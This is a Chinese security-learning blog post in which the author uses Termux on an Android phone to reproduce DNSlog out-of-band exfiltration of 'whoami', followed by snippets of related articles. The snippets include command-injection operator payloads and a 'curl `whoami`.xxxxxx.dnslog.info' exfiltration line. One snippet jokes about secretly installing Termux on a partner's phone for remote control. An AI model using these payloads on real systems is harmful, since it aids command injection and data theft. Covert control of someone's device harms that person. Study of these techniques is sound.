用安卓手机实现一次dnslog带外whoami

最新推荐文章于 2025-01-13 15:32:41 发布
原创 最新推荐文章于 2025-01-13 15:32:41 发布 · 1k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文通过使用手机上的Termux应用，详细介绍了如何利用DNSLog实现带外数据传输的过程。作者通过设置特定的域名记录，成功实现了本地ping命令携带自定义数据的功能。

昨天我的macbook因为电池报废，所以我不得不暂时拓展一条新的线路来学习。那就用手机吧。复现一下前天面试官提到的dnslog带外数据。
命令行用的termux
在这里插入图片描述
一个记录dns查询的网站，记录了想要带外的whoami是u0_a150
在这里插入图片描述
我试着自己讲一下原理，去百度也可搜索到。
当访问一个域名的时候首先浏览器会查看缓存，找ip。没找到会去找操作系统的host文件。再没找到会询问dns服务器，再没找到dns服务器会询问根服务器，然后依次查询下级域名。当访问到最后一级域名的时候是用户可控的。比如用户自己的域名是9f0xfb.dnslog.cn，他可以设置记录任何父域名为9f0xfb.dnslog.cn的请求。比如admin.9f0xfb.dnslog.cn。这时候本地ping的时候只需要带上你想要输出的结果即可

Web漏洞知识梳理笔记--DNSlog数据外带
qq_47742555的博客
12-24 1814
DNSlog 数据外带技术利用了服务器发出的 DNS 请求来确认漏洞的存在和执行结果。通过利用 DNSlog 服务，攻击者可以有效检测 SSRF、盲注、RCE 等漏洞，并可能外带一些敏感数据。为了防范此类攻击，需要对外部请求进行严格限制，并加强对服务器网络访问的监控与防护。dnslog.cn。
SQL注入--DNSlog外带注入--理论
m0_56019217的博客
11-23 1179
DNS的作用是将域名解析为IP而DNSlog就是存储在DNS服务器上的域名信息，它记录着用户对域名访问信息。可以理解为DNS服务器上的日志文件。比如，以点为分隔，从右向左依次是顶级域名、二级域名、三级域名。即，net是顶级域名，csdn是二级域名，blog是三级域名。域名不区分大小写。在进行ping命令时会使用DNS解析：这里就是被解析后，与csdn.com进行了拼接，然后再去执行Ping命令。这里我们界面就回显得到了，也就是得到了的值。这个过程就可以被称为DNSlog外带。
ICMP带外查询Dnslog
AlunXZhou的博客
03-28 641
ping -c 1 /127.0.0.1 || whoami（前为假，输出后命令，否则不输出后命令）ping -c 1 127.0.0.1 && whoami（前命令必须为真，否则后命令不输出）管道符：| (管道符号) ||（逻辑或） &&（逻辑与） &(后台任务符号)ping -c 1 127.0.0.1;ping -c 127.0.0.1 `whoami` （反引号为报错输出）ping -c 1 127.0.0.1 | whoami（只输出后命令）| || & && ``(特有``和;
dnslog注入
weixin_33928137的博客
12-21 323
　　 使用Powershell反弹Meterpreter Shell cloudeye在windows下的应用 今天突发奇想的一个姿势，算不上什么技巧，分享一下吧。看到有人问过。http://zone.wooyun.org/content/27440其实很羡慕linxu的curl `whoami`.xxxxxx.dnslog.info这样去获取数据什么的。windows下...
fastjson 判断是否包含_通过dnslog探测fastjson的几种方法
weixin_39816362的博客
12-18 1479
0x01 背景在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson,jackson,gson等等。怎么判断后端不是fastjson呢？这就需要构造特定的payload了。昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类，于是顺手给官方提了下Issue。有趣的是后续的师傅们讨论还挺热闹的，我也在这次讨论中学习了很多。这篇文章算是对那...
No.28 笔记 | 反序列化漏洞学习总结
聚焦网络安全，以多元语言优势汲取知识，分享生动有趣的学习与技术心得。
12-25 1123
序列化：将对象转换为字节流，便于在内存、文件、数据库中存储，保证对象完整性与可传递性。例如，把一个包含用户信息（姓名、年龄等）的对象序列化为字节流后，可以方便地进行存储或传输。反序列化：是序列化的逆过程，依据字节流中的对象状态及描述信息重建对象。比如，从存储介质中读取字节流并还原为原始对象。应用场景：广泛应用于远程和进程间通信（RPC/IPC）、连线协议、Web服务、消息代理、缓存/持久性存储区、数据库、缓存服务器、文件系统、HTTP cookie、HTML表单参数、API身份验证令牌等场景。
2023届【校招】安全面试题和岗位总结（深信服、360、腾讯、字节等大厂）_深信服安全服务面试
2401_89760243的博客
01-10 660
写在前面个人强烈感觉面试因人而异，对于简历上有具体项目经历的同学，个人感觉面试官会着重让你介绍自己的项目，包括但不限于介绍一次真实攻防/渗透/挖洞/CTF/代码审计的经历 => 因此对于自己的项目，面试前建议做一次复盘，最好能用文字描述出细节，在面试时才不会磕磕绊绊、或者忘了一些自己很得意的细节面试题会一直更新（大概，直到我毕业或者躺平为止吧…）包括一些身边同学（若他们同意的话）和牛客上扒拉下来的（若有，会贴出链接）还有自己的一些经历。
大厂面经 | 网络安全岗
最新发布
2401_88752684的博客
01-13 468
市场要求，本质上还是底线要求，他要求你能够胜任当前岗位，这个要求已经很基本了。对自己的要求应该还需要拔高，更多的应该是因为兴趣就某个问题进行深入钻研，然后完成各种各样的挑战，这样玩下来才更有乐趣。这里的套路指的不是所谓的出题套路，而是涉及的技术栈，都是大同小益的，无非就是那么几样，java，域为主体，其他为辅助。在进步，每一年面试问的东西，或多或少都会和当年出来的新技术有关系，而目前更多的会涉及到云这一块。360 面试题（以下都是同一场面试提的问题，两个面试官，一个代审一个红队，时长接近两小时）
picoCTF2018 Writeup之Web Exploitation
zwish的信安之路
09-16 1971
My New Website 打开发现是个登录界面，随便输入账号密码登陆成功，然后发现cookie里面有个admin字段为false，改为True(一定要大写) 得到flag：picoCTF{l0g1ns_ar3nt_r34l_92020990} Irish Name Repo 没有任何过滤的注入，直接到/admin登录页面，使用万能密码admin' or '1'='1登录即可 my r...
Linux操作系统中whoami命令是指,在Linux系统中使用who和whoami命令获取用户信息
weixin_39895096的博客
05-12 514
who用法：who [选项]... [ 文件 | 参数1 参数2 ]显示当前已登录的用户信息。-a, --all 等于-b -d --login -p -r -t -T -u 选项的组合-b, --boot 上次系统启动时间-d, --dead 显示已死的进程-H, --heading 输出头部的标题列--ips ...
写bat脚本双击执行
qq_35911118的博客
04-08 3223
@echo off　　　　　　　　　　　不显示后续命令行及当前命令行 dir c:*.* >a.txt　　　　　　　将c盘文件列表写入a.txt call c:\ucdos\ucdos.bat　　　　调用ucdos echo 你好 　　　　　　　　　　 显示"你好" pause 　　　　　　　　　　　　 暂停,等待按键继续 rem 准备运行wps 　　　　　　　 注释：准备运行wps cd ucdos　　　　　　　　　　　 进入ucdos目录 wps 　　　　　　　　　　　　　 运行wps @echo
DNSLog漏洞探测(二)之常用DNSLog平台
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
12-10 7507
我们在上一篇文章中我们介绍了什么是DNSLog，如果我们自己要去搭建一个DNSLog的服务平台，还是比较复杂和麻烦的，所以我们可以直接去使用一些公开免费的DNSLog平台，DNSLog的平台非常的多，但是实际上大部分的DNSLog的平台都是昙花一现，真正意义上稳定持久的就只有那么几个，那么我们接下来给大家介绍几个常用且稳定的DNSLog平台吧。
快速搭建自用dnslog
寒星的博客
04-21 5254
快速搭建自用dnslog 前言 dnslog是常见的辅助验证漏洞的手段,为什么要自建dnslog？ 第三方dnslog在一些特殊时期会受到一股神秘力量影响变得不稳定甚至不能用 有些业务或者信息不方便使用第三方平台 常见的dnslog平台会被安全产品检测到 网上已经有很多开源的dnslog平台，且有不少的dnslog搭建教程，但是看下来感觉还是有点麻烦，而且不容易集成到自己平台。对于个人来说，很多步骤其实是可以省略的。前几天原来的dnslog的域名到期了，又重新买了个新的重新搭建了一次。正好分享一下我是如
DNSlog外带原理及注入分析
热门推荐
Sentiment的博客
04-27 1万+
前言 最近一直听到DNSlog外带原理等词但对其原理一直只是自己的理解(回显DNS请求后的日志)并没有真正的了解过，所以这里做一下记录。 DNSlog原理 DNS DNS(Domain Name System)就是域名系统，负责把域名转换成IP地址；例如向浏览器访问a.com,浏览器就会将其解析成真实的IP访问对应服务器上的服务。 DNSlog DNSlog就是DNS的日志，DNS在域名解析的时候会留下域名和解析IP的记录 DNSlog外带原理 DNS在解析的时候会留下日志，我们将信息放在高级域名中，传递到
合理利用DNSLOG进行无回显安全测试
weixin_34220963的博客
01-02 2850
在实际测试一些网站的安全性问题的时候，有些测试命令执行后是无回显的，我们可以写脚本来进行盲注，但有些网站会封禁掉我们的ip地址，这样我们可以通过设置ip代理池解决，但是遇到盲注往往效率很低，所以产生了DNSlog注入。 在使用dnslog之前我们需要先了解一下反引号符号：符号：`名称：反引号，上分隔符位置：反引号,这个字符一般在键盘的左上角，数字1的左边，不要将其同单引号混淆作用：反引号括起来的字...
DNSlog注入 信息的 带外|外带 sql注入利用详解+实操
weixin_48083470的博客
08-04 6064
DNSlog注入 DNSlog注入原理 dnslog注入也可以称之为dns带外查询，是一种注入姿势，可以通过查询相应的dns解析记录，来获取我们想要的数据 一般情况下，在我们无法通过联合查询直接获取数据的情况下，我们只能通过盲注，来一步步的获取数据，但是，使用盲注，手工测试是需要花费大量的时间的，可能会想到使用sqlmap直接去跑出数据，但在实际测试中，使用sqlmap跑盲注，有很大的几率，网站把ip给封掉，这就影响了我们的测试进度 首先说明，dns带外查询属于MySQL注入，在MySQL中有个系统属性 s
DNSlog外带
adaosanqian的博客
02-28 7935
减轻盲注的复杂操作，运用DNSlog外带来进行操作
Termux手机终端-逗你玩儿
han156的博客
06-19 1万+
Termux手机终端-逗你玩儿 Termux简介： Termux是个apk应用，运行在Android平台上的一个终端模拟器。用户对他做一些配置后，无需root，便可以用来做安全渗透，python编程等工具，非常方便。最重要的，他还是一款娱乐工具。比如，**在你女朋友的手机上，偷偷安装一个，然后你就可以通过ssh的方式，远程他的手机播放洗脑神曲，时不时的吓唬吓唬她。**想想就开心，人生苦短，及时行乐...
Android DNS 代码分析
span76的专栏
11-25 1万+
Android DNS 代码都在bionic/libc/netbsd中 （虽然netbsd 是个废弃的项目，但dns功能部分代码被 Android用上了） netbsd 代码晦涩难懂，只有一边写程序，一边打log验证 照抄了一个简单程序， 在android 下面用 mmm 编译可以得到 py_getaddr 可能， 用adb 登陆到 devices 再到 system/bin 下去执
Android应用WhoAmI利用微软API实现面部识别
资源摘要信息:"WhoAmI:Microsoft Code Fun Do Round 1"是一个Android应用程序开发竞赛项目，由IIT（BHU）瓦拉纳西的团队参与并完成了Microsoft Code.Fun.Do第一轮竞赛。该应用程序的主要功能是通过扫描包含用户面部...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值